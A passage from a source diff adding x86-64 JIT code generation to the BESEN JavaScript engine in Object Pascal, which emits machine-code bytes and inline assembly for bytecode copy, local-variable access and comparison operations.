AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + end; + bopDEC:begin + if Operands^[0]<>Operands^[1] then begin + Add(#$41#$c7#$86); // mov dword ptr [r14+RegisterOfs+TBESENValue.ValueType],bvtNUMBER + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtNUMBER); + end; + + Add(#$f2#$41#$0f#$10#$86); // movsd xmm0,qword ptr [r14+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + Add(#$48#$b8); // mov rax,offset BESENDoubleOne + AddPtr(@BESENDoubleOne); + + Add(#$f2#$0f#$5c#$00); // subsd xmm0,qword ptr [rax] + + Add(#$f2#$41#$0f#$11#$86); // movsd qword ptr [r14+RegisterOfs+TBESENValue.Num],xmm0 + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + end; + bopCOPYBOOL:begin + if Operands^[0]<>Operands^[1] then begin + Add(#$41#$c7#$86); // mov dword ptr [r14+RegisterOfs+TBESENValue.ValueType],bvtBOOLEAN + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtBOOLEAN); + + Add(#$41#$8b#$86); // mov eax,dword ptr [r14+RegisterOfs+TBESENValue.Bool] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); + + Add(#$41#$89#$86); // mov dword ptr [r14+RegisterOfs+TBESENValue.Bool],eax + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); + end; + end; + bopCOPYNUM:begin + if Operands^[0]<>Operands^[1] then begin + Add(#$41#$c7#$86); // mov dword ptr [r14+RegisterOfs+TBESENValue.ValueType],bvtNUMBER + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtNUMBER); + + Add(#$f2#$41#$0f#$10#$86); // movsd xmm0,qword ptr [r14+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + Add(#$f2#$41#$0f#$11#$86); // movsd qword ptr [r14+RegisterOfs+TBESENValue.Num],xmm0 + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + end; + end; + bopCOPYOBJ:begin + if Operands^[0]<>Operands^[1] then begin + Add(#$41#$c7#$86); // mov dword ptr [r14+RegisterOfs+TBESENValue.ValueType],bvtOBJECT + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtOBJECT); + + Add(#$49#$8b#$86); // mov rax,dword ptr [r14+RegisterOfs+TBESENValue.Obj] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Obj))-ptruint(pointer(@v)))); + + Add(#$49#$89#$86); // mov dword ptr [r14+RegisterOfs+TBESENValue.Obj],rax + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Obj))-ptruint(pointer(@v)))); + end; + end; + bopCOPYREF:begin + if Operands^[0]<>Operands^[1] then begin + AddDispatcher; + end; + end; + bopCOPYLOCAL:begin + if Operands^[0]<>Operands^[1] then begin + Add(#$41#$c7#$86); // mov dword ptr [r14+RegisterOfs+TBESENValue.ValueType],bvtLOCAL + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtLOCAL); + + Add(#$41#$8b#$86); // mov eax,dword ptr [r14+RegisterOfs+TBESENValue.LocalIndex] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.LocalIndex))-ptruint(pointer(@v)))); + + Add(#$41#$89#$86); // mov dword ptr [r14+RegisterOfs+TBESENValue.LocalIndex],eax + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.LocalIndex))-ptruint(pointer(@v)))); + end; + end; + bopGETVALUEREF:begin + AddDispatcher; + end; + bopPUTVALUEREF:begin + AddDispatcher; + end; + bopGETVALUELOCAL:begin + AddDispatcher; + end; + bopPUTVALUELOCAL:begin + AddDispatcher; + end; + bopGETVALUELOCALFAST:begin + AddDispatcher; + end; + bopPUTVALUELOCALFAST:begin + AddDispatcher; + end; + bopGETVALUELOCALBOOL:begin + Add(#$49#$8d#$86); // lea rax,qword ptr [r14+RegisterOfs] + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))); + + Add(#$49#$8d#$96); // lea rdx,qword ptr [r14+RegisterOfs] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))); + asm + jmp @Skip + @CodeBegin: + xor rcx,rcx + mov ecx,dword ptr [rdx+TBESENValue.LocalIndex] + mov rdx,qword ptr [r15+rcx*8] + mov dword ptr [rax+TBESENValue.ValueType],bvtBOOLEAN + mov ecx,dword ptr [rdx+TBESENValue.Bool] + mov dword ptr [rax+TBESENValue.Bool],ecx + @CodeEnd: + @Skip: + push rax + mov rax,offset @CodeBegin + mov qword ptr CodeBegin,rax + mov rax,offset @CodeEnd + mov qword ptr CodeEnd,rax + pop rax + end; + AddCode(CodeBegin,CodeEnd); + end; + bopPUTVALUELOCALBOOL:begin + Add(#$49#$8d#$86); // lea rax,qword ptr [r14+RegisterOfs] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))); + + Add(#$49#$8d#$96); // lea rdx,qword ptr [r14+RegisterOfs] + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))); + asm + jmp @Skip + @CodeBegin: + xor rcx,rcx + mov ecx,dword ptr [rdx+TBESENValue.LocalIndex] + mov rdx,qword ptr [r15+rcx*8] + mov dword ptr [rdx+TBESENValue.ValueType],bvtBOOLEAN + mov ecx,dword ptr [rax+TBESENValue.Bool] + mov dword ptr [rdx+TBESENValue.Bool],ecx + @CodeEnd: + @Skip: + push rax + mov rax,offset @CodeBegin + mov qword ptr CodeBegin,rax + mov rax,offset @CodeEnd + mov qword ptr CodeEnd,rax + pop rax + end; + AddCode(CodeBegin,CodeEnd); + end; + bopGETVALUELOCALNUM:begin + Add(#$49#$8d#$86); // lea rax,qword ptr [r14+RegisterOfs] + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))); + + Add(#$49#$8d#$96); // lea rdx,qword ptr [r14+RegisterOfs] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))); + asm + jmp @Skip + @CodeBegin: + xor rcx,rcx + mov ecx,dword ptr [rdx+TBESENValue.LocalIndex] + mov rdx,qword ptr [r15+rcx*8] + mov dword ptr [rax+TBESENValue.ValueType],bvtNUMBER + movsd xmm0,qword ptr [rdx+TBESENValue.Num] + movsd qword ptr [rax+TBESENValue.Num],xmm0 + @CodeEnd: + @Skip: + push rax + mov rax,offset @CodeBegin + mov qword ptr CodeBegin,rax + mov rax,offset @CodeEnd + mov qword ptr CodeEnd,rax + pop rax + end; + AddCode(CodeBegin,CodeEnd); + end; + bopPUTVALUELOCALNUM:begin + Add(#$49#$8d#$86); // lea rax,qword ptr [r14+RegisterOfs] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))); + + Add(#$49#$8d#$96); // lea rdx,qword ptr [r14+RegisterOfs] + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))); + asm + jmp @Skip + @CodeBegin: + xor rcx,rcx + mov ecx,dword ptr [rdx+TBESENValue.LocalIndex] + mov rdx,qword ptr [r15+rcx*8] + mov dword ptr [rdx+TBESENValue.ValueType],bvtNUMBER + movsd xmm0,qword ptr [rax+TBESENValue.Num] + movsd qword ptr [rdx+TBESENValue.Num],xmm0 + @CodeEnd: + @Skip: + push rax + mov rax,offset @CodeBegin + mov qword ptr CodeBegin,rax + mov rax,offset @CodeEnd + mov qword ptr CodeEnd,rax + pop rax + end; + AddCode(CodeBegin,CodeEnd); + end; + bopGETVALUELOCALSTR:begin + AddDispatcher; + end; + bopPUTVALUELOCALSTR:begin + AddDispatcher; + end; + bopGETVALUELOCALOBJ:begin + Add(#$49#$8d#$86); // lea rax,qword ptr [r14+RegisterOfs] + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))); + + Add(#$49#$8d#$96); // lea rdx,qword ptr [r14+RegisterOfs] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))); + asm + jmp @Skip + @CodeBegin: + xor rcx,rcx + mov ecx,dword ptr [rdx+TBESENValue.LocalIndex] + mov rdx,qword ptr [r15+rcx*8] + mov dword ptr [rax+TBESENValue.ValueType],bvtOBJECT + mov rcx,qword ptr [rdx+TBESENValue.Obj] + mov qword ptr [rax+TBESENValue.Obj],rcx + @CodeEnd: + @Skip: + push rax + mov rax,offset @CodeBegin + mov qword ptr CodeBegin,rax + mov rax,offset @CodeEnd + mov qword ptr CodeEnd,rax + pop rax + end; + AddCode(CodeBegin,CodeEnd); + end; + bopPUTVALUELOCALOBJ:begin + Add(#$49#$8d#$86); // lea rax,qword ptr [r14+RegisterOfs] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))); + + Add(#$49#$8d#$96); // lea rdx,qword ptr [r14+RegisterOfs] + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))); + asm + jmp @Skip + @CodeBegin: + xor rcx,rcx + mov ecx,dword ptr [rdx+TBESENValue.LocalIndex] + mov rdx,qword ptr [r15+rcx*8] + mov dword ptr [rdx+TBESENValue.ValueType],bvtOBJECT + mov rcx,qword ptr [rax+TBESENValue.Obj] + mov qword ptr [rdx+TBESENValue.Obj],rcx + @CodeEnd: + @Skip: + push rax + mov rax,offset @CodeBegin + mov qword ptr CodeBegin,rax + mov rax,offset @CodeEnd + mov qword ptr CodeEnd,rax + pop rax + end; + AddCode(CodeBegin,CodeEnd); + end; + bopGETVALUELOCALINDEX:begin + AddDispatcher; + end; + bopPUTVALUELOCALINDEX:begin + AddDispatcher; + end; + bopGETVALUELOCALINDEXBOOL:begin + Add(#$49#$8d#$86); // lea rax,qword ptr [r14+RegisterOfs] + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))); + + Add(#$49#$8b#$97); // mov rdx,qword ptr [r15+LocalIndex*8] + AddDWord(ptruint(Operands^[1]*8)); + + asm + jmp @Skip + @CodeBegin: + mov dword ptr [rax+TBESENValue.ValueType],bvtBOOLEAN + mov ecx,dword ptr [rdx+TBESENValue.Bool] + mov dword ptr [rax+TBESENValue.Bool],ecx + @CodeEnd: + @Skip: + push rax + mov rax,offset @CodeBegin + mov qword ptr CodeBegin,rax + mov rax,offset @CodeEnd + mov qword ptr CodeEnd,rax + pop rax + end; + AddCode(CodeBegin,CodeEnd); + end; + bopPUTVALUELOCALINDEXBOOL:begin + Add(#$49#$8d#$86); // lea rax,qword ptr [r14+RegisterOfs] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))); + + Add(#$49#$8b#$97); // mov rdx,qword ptr [r15+LocalIndex*8] + AddDWord(ptruint(Operands^[0]*8)); + + asm + jmp @Skip + @CodeBegin: + mov dword ptr [rdx+TBESENValue.ValueType],bvtBOOLEAN + mov ecx,dword ptr [rax+TBESENValue.Bool] + mov dword ptr [rdx+TBESENValue.Bool],ecx + @CodeEnd: + @Skip: + push rax + mov rax,offset @CodeBegin + mov qword ptr CodeBegin,rax + mov rax,offset @CodeEnd + mov qword ptr CodeEnd,rax + pop rax + end; + AddCode(CodeBegin,CodeEnd); + end; + bopGETVALUELOCALINDEXNUM:begin + Add(#$49#$8d#$86); // lea rax,qword ptr [r14+RegisterOfs] + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))); + + Add(#$49#$8b#$97); // mov rdx,qword ptr [r15+LocalIndex*8] + AddDWord(ptruint(Operands^[1]*8)); + + asm + jmp @Skip + @CodeBegin: + mov dword ptr [rax+TBESENValue.ValueType],bvtNUMBER + movsd xmm0,qword ptr [rdx+TBESENValue.Num] + movsd qword ptr [rax+TBESENValue.Num],xmm0 + @CodeEnd: + @Skip: + push rax + mov rax,offset @CodeBegin + mov qword ptr CodeBegin,rax + mov rax,offset @CodeEnd + mov qword ptr CodeEnd,rax + pop rax + end; + AddCode(CodeBegin,CodeEnd); + end; + bopPUTVALUELOCALINDEXNUM:begin + Add(#$49#$8d#$86); // lea rax,qword ptr [r14+RegisterOfs] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))); + + Add(#$49#$8b#$97); // mov rdx,qword ptr [r15+LocalIndex*8] + AddDWord(ptruint(Operands^[0]*8)); + + asm + jmp @Skip + @CodeBegin: + mov dword ptr [rdx+TBESENValue.ValueType],bvtNUMBER + movsd xmm0,qword ptr [rax+TBESENValue.Num] + movsd qword ptr [rdx+TBESENValue.Num],xmm0 + @CodeEnd: + @Skip: + push rax + mov rax,offset @CodeBegin + mov qword ptr CodeBegin,rax + mov rax,offset @CodeEnd + mov qword ptr CodeEnd,rax + pop rax + end; + AddCode(CodeBegin,CodeEnd); + end; + bopGETVALUELOCALINDEXSTR:begin + AddDispatcher; + end; + bopPUTVALUELOCALINDEXSTR:begin + AddDispatcher; + end; + bopGETVALUELOCALINDEXOBJ:begin + Add(#$49#$8d#$86); // lea rax,qword ptr [r14+RegisterOfs] + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))); + + Add(#$49#$8b#$97); // mov rdx,qword ptr [r15+LocalIndex*8] + AddDWord(ptruint(Operands^[1]*8)); + + asm + jmp @Skip + @CodeBegin: + mov dword ptr [rax+TBESENValue.ValueType],bvtOBJECT + mov rcx,qword ptr [rdx+TBESENValue.Obj] + mov qword ptr [rax+TBESENValue.Obj],rcx + @CodeEnd: + @Skip: + push rax + mov rax,offset @CodeBegin + mov qword ptr CodeBegin,rax + mov rax,offset @CodeEnd + mov qword ptr CodeEnd,rax + pop rax + end; + AddCode(CodeBegin,CodeEnd); + end; + bopPUTVALUELOCALINDEXOBJ:begin + Add(#$49#$8d#$86); // lea rax,qword ptr [r14+RegisterOfs] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))); + + Add(#$49#$8b#$97); // mov rdx,qword ptr [r15+LocalIndex*8] + AddDWord(ptruint(Operands^[0]*8)); + + asm + jmp @Skip + @CodeBegin: + mov dword ptr [rdx+TBESENValue.ValueType],bvtOBJECT + mov rcx,qword ptr [rax+TBESENValue.Obj] + mov qword ptr [rdx+TBESENValue.Obj],rcx + @CodeEnd: + @Skip: + push rax + mov rax,offset @CodeBegin + mov qword ptr CodeBegin,rax + mov rax,offset @CodeEnd + mov qword ptr CodeEnd,rax + pop rax + end; + AddCode(CodeBegin,CodeEnd); + end; + bopLOOPINITCOUNT:begin + end; + bopLOOPADDCOUNT:begin + end; + bopTRACE:begin + if TBESEN(CodeContext.Instance).CodeTracable then begin + AddDispatcher; + end; + end; + bopLTBOOL:begin +{$ifdef UseSafeOperations} + AddDispatcher; +{$else} + Add(#$41#$8b#$86); // mov eax,dword ptr [r14+RegisterOfs+TBESENValue.Bool] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); + + Add(#$41#$8b#$96); // mov edx,dword ptr [r14+RegisterOfs+TBESENValue.Bool] + AddDWord(ptruint(Operands^[2]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); + + asm + jmp @Skip + @CodeBegin: + cmp al,$01 + sbb eax,eax + inc eax + cmp dl,$01 + sbb edx,edx + inc edx + cmp al,dl + setb al + neg al + sbb eax,eax + @CodeEnd: + @Skip: + push rax + mov rax,offset @CodeBegin + mov qword ptr CodeBegin,rax + mov rax,offset @CodeEnd + mov qword ptr CodeEnd,rax + pop rax + end; + + AddCode(CodeBegin,CodeEnd); + + if (Operands^[0]<>Operands^[1]) and (Operands^[0]<>Operands^[2]) then begin + Add(#$41#$c7#$86); // mov dword ptr [r14+RegisterOfs+TBESENValue.ValueType],bvtBOOLEAN + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtBOOLEAN); + end; + + Add(#$41#$89#$86); // mov dword ptr [r14+RegisterOfs+TBESENValue.Bool],eax + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); +{$endif} + end; + bopGTBOOL:begin +{$ifdef UseSafeOperations} + AddDispatcher; +{$else} + Add(#$41#$8b#$86); // mov eax,dword ptr [r14+RegisterOfs+TBESENValue.Bool] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); + + Add(#$41#$8b#$96); // mov edx,dword ptr [r14+RegisterOfs+TBESENValue.Bool] + AddDWord(ptruint(Operands^[2]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); + + asm + jmp @Skip + @CodeBegin: + cmp al,$01 + sbb eax,eax + inc eax + cmp dl,$01 + sbb edx,edx + inc edx + cmp al,dl + setnbe al + neg al + sbb eax,eax + @CodeEnd: + @Skip: + push rax + mov rax,offset @CodeBegin + mov qword ptr CodeBegin,rax + mov rax,offset @CodeEnd + mov qword ptr CodeEnd,rax + pop rax + end; + + AddCode(CodeBegin,CodeEnd); + + if (Operands^[0]<>Operands^[1]) and (Operands^[0]<>Operands^[2]) then begin + Add(#$41#$c7#$86); // mov dword ptr [r14+RegisterOfs+TBESENValue.ValueType],bvtBOOLEAN + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtBOOLEAN); + end; + + Add(#$41#$89#$86); // mov dword ptr [r14+RegisterOfs+TBESENValue.Bool],eax + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); +{$endif} + end; + bopLEBOOL:begin +{$ifdef UseSafeOperations} + AddDispatcher; +{$else} + Add(#$41#$8b#$86); // mov eax,dword ptr [r14+RegisterOfs+TBESENValue.Bool] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); + + Add(#$41#$8b#$96); // mov edx,dword ptr [r14+RegisterOfs+TBESENValue.Bool] + AddDWord(ptruint(Operands^[2]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); + + asm + jmp @Skip + @CodeBegin: + cmp al,$01 + sbb eax,eax + inc eax + cmp dl,$01 + sbb edx,edx + inc edx + cmp al,dl + setbe al + neg al + sbb eax,eax + @CodeEnd: + @Skip: + push rax + mov rax,offset @CodeBegin + mov qword ptr CodeBegin,rax + mov rax,offset @CodeEnd + mov qword ptr CodeEnd,rax + pop rax + end; + + AddCode(CodeBegin,CodeEnd); + + if (Operands^[0]<>Operands^[1]) and (Operands^[0]<>Operands^[2]) then begin + Add(#$41#$c7#$86); // mov dword ptr [r14+RegisterOfs+TBESENValue.ValueType],bvtBOOLEAN + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtBOOLEAN); + end; + + Add(#$41#$89#$86); // mov dword ptr [r14+RegisterOfs+TBESENValue.Bool],eax + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); +{$endif} + end; + bopGEBOOL:begin +{$ifdef UseSafeOperations} + AddDispatcher; +{$else} + Add(#$41#$8b#$86); // mov eax,dword ptr [r14+RegisterOfs+TBESENValue.Bool] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); + + Add(#$41#$8b#$96); // mov edx,dword ptr [r14+RegisterOfs+TBESENValue.Bool] + AddDWord(ptruint(Operands^[2]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); + + asm + jmp @Skip + @CodeBegin: + cmp al,$01 + sbb eax,eax + inc eax + cmp dl,$01 + sbb edx,edx + inc edx + cmp al,dl + setnb al + neg al + sbb eax,eax + @CodeEnd: + @Skip: + push rax + mov rax,offset @CodeBegin + mov qword ptr CodeBegin,rax + mov rax,offset @CodeEnd + mov qword ptr CodeEnd,rax + pop rax + end; + + AddCode(CodeBegin,CodeEnd); + + if (Operands^[0]<>Operands^[1]) and (Operands^[0]<>Operands^[2]) then begin + Add(#$41#$c7#$86); // mov dword ptr [r14+RegisterOfs+TBESENValue.ValueType],bvtBOOLEAN + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtBOOLEAN); + end; + + Add(#$41#$89#$86); // mov dword ptr [r14+RegisterOfs+TBESENValue.Bool],eax + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); +{$endif} + end; + bopEQBOOL:begin +{$ifdef UseSafeOperations} + AddDispatcher; +{$else} + Add(#$41#$8b#$86); // mov eax,dword ptr [r14+RegisterOfs+TBESENValue.Bool] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); + + Add(#$41#$8b#$96); // mov edx,dword ptr [r14+RegisterOfs+TBESENValue.Bool] + AddDWord(ptruint(Operands^[2]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); + + asm + jmp @Skip + @CodeBegin: + cmp eax,edx + setz al + neg al + sbb eax,eax + @CodeEnd: + @Skip: + push rax + mov rax,offset @CodeBegin + mov qword ptr CodeBegin,rax + mov rax,offset @CodeEnd + mov qword ptr CodeEnd,rax + pop rax + end; + + AddCode(CodeBegin,CodeEnd); + + if (Operands^[0]<>Operands^[1]) and (Operands^[0]<>Operands^[2]) then begin + Add(#$41#$c7#$86); // mov dword ptr [r14+RegisterOfs+TBESENValue.ValueType],bvtBOOLEAN + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtBOOLEAN); + end; + + Add(#$41#$89#$86); // mov dword ptr [r14+RegisterOfs+TBESENValue.Bool],eax + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); +{$endif} + end; + bopNEQBOOL:begin +{$ifdef UseSafeOperations} + AddDispatcher; +{$else} + Add(#$41#$8b#$86); // mov eax,dword ptr [r14+RegisterOfs+TBESENValue.Bool] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); + + Add(#$41#$8b#$96); // mov edx,dword ptr [r14+RegisterOfs+TBESENValue.Bool] + AddDWord(ptruint(Operands^[2]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); + + asm + jmp @Skip + @CodeBegin: + cmp eax,edx + setnz al + neg al + sbb eax,eax + @CodeEnd: + @Skip: + push rax + mov rax,offset @CodeBegin + mov qword ptr CodeBegin,rax + mov rax,offset @CodeEnd + mov qword ptr CodeEnd,rax + pop rax + end; + + AddCode(CodeBegin,CodeEnd); + + if (Operands^[0]<>Operands^[1]) and (Operands^[0]<>Operands^[2]) then begin + Add(#$41#$c7#$86); // mov dword ptr [r14+RegisterOfs+TBESENValue.ValueType],bvtBOOLEAN + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtBOOLEAN); + end; + + Add(#$41#$89#$86); // mov dword ptr [r14+RegisterOfs+TBESENValue.Bool],eax + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); +{$endif} + end; + bopLTNUM:begin +{$ifdef UseSafeOperations} + AddDispatcher; +{$else} + Add(#$f2#$41#$0f#$10#$86); // movsd xmm0,qword ptr [r14+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + Add(#$66#$41#$0f#$2f#$86); // comisd xmm0,qword ptr [r14+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[2]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + asm + jmp @Skip + @CodeBegin: + setb al + setnp cl + and al,cl + neg al + sbb eax,eax + @CodeEnd: + @Skip: + push rax + mov rax,offset @CodeBegin + mov qword ptr CodeBegin,rax + mov rax,offset @CodeEnd + mov qword ptr CodeEnd,rax + pop rax + end; + + AddCode(CodeBegin,CodeEnd); + + Add(#$41#$c7#$86); // mov dword ptr [r14+RegisterOfs+TBESENValue.ValueType],bvtBOOLEAN + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtBOOLEAN); + + Add(#$41#$89#$86); // mov dword ptr [r14+RegisterOfs+TBESENValue.Bool],eax + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); +{$endif} + end; + bopGTNUM:begin +{$ifdef UseSafeOperations} + AddDispatcher; +{$else} + Add(#$f2#$41#$0f#$10#$86); // movsd xmm0,qword ptr [r14+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + Add(#$66#$41#$0f#$2f#$86); // comisd xmm0,qword ptr [r14+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[2]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + asm + jmp @Skip + @CodeBegin: + setnbe al + setnp cl + and al,cl + neg al + sbb eax,eax + @CodeEnd: + @Skip: + push rax + mov rax,offset @CodeBegin + mov qword ptr CodeBegin,rax + mov rax,offset @CodeEnd + mov qword ptr CodeEnd,rax + pop rax + end; + + AddCode(CodeBegin,CodeEnd); + + Add(#$41#$c7#$86); // mov dword ptr [r14+RegisterOfs+TBESENValue.ValueType],bvtBOOLEAN + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtBOOLEAN); + + Add(#$41#$89#$86); // mov dword ptr [r14+RegisterOfs+TBESENValue.Bool],eax + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); +{$endif} + end; + bopLENUM:begin +{$ifdef UseSafeOperations} + AddDispatcher; +{$else} + Add(#$f2#$41#$0f#$10#$86); // movsd xmm0,qword ptr [r14+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + Add(#$66#$41#$0f#$2f#$86); // comisd xmm0,qword ptr [r14+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[2]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + asm + jmp @Skip + @CodeBegin: + setbe al + setnp cl + and al,cl + neg al + sbb eax,eax + @CodeEnd: + @Skip: + push rax + mov rax,offset @CodeBegin + mov qword ptr CodeBegin,rax + mov rax,offset @CodeEnd + mov qword ptr CodeEnd,rax + pop rax + end; + + AddCode(CodeBegin,CodeEnd); + + Add(#$41#$c7#$86); // mov dword ptr [r14+RegisterOfs+TBESENValue.ValueType],bvtBOOLEAN + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtBOOLEAN); + + Add(#$41#$89#$86); // mov dword ptr [r14+RegisterOfs+TBESENValue.Bool],eax + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); +{$endif} + end; + bopGENUM:begin +{$ifdef UseSafeOperations} + AddDispatcher; +{$else} + Add(#$f2#$41#$0f#$10#$86); // movsd xmm0,qword ptr [r14+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + Add(#$66#$41#$0f#$2f#$86); // comisd xmm0,qword ptr [r14+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[2]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + asm + jmp @Skip + @CodeBegin: + setnb al + setnp cl + and al,cl + neg al + sbb eax,eax + @CodeEnd: + @Skip: + push rax + mov rax,offset @CodeBegin + mov qword ptr CodeBegin,rax + mov rax,offset @CodeEnd + mov qword ptr CodeEnd,rax + pop rax + end; + + AddCode(CodeBegin,CodeEnd); + + Add(#$41#$c7#$86); // mov dword ptr [r14+RegisterOfs+TBESENValue.ValueType],bvtBOOLEAN + 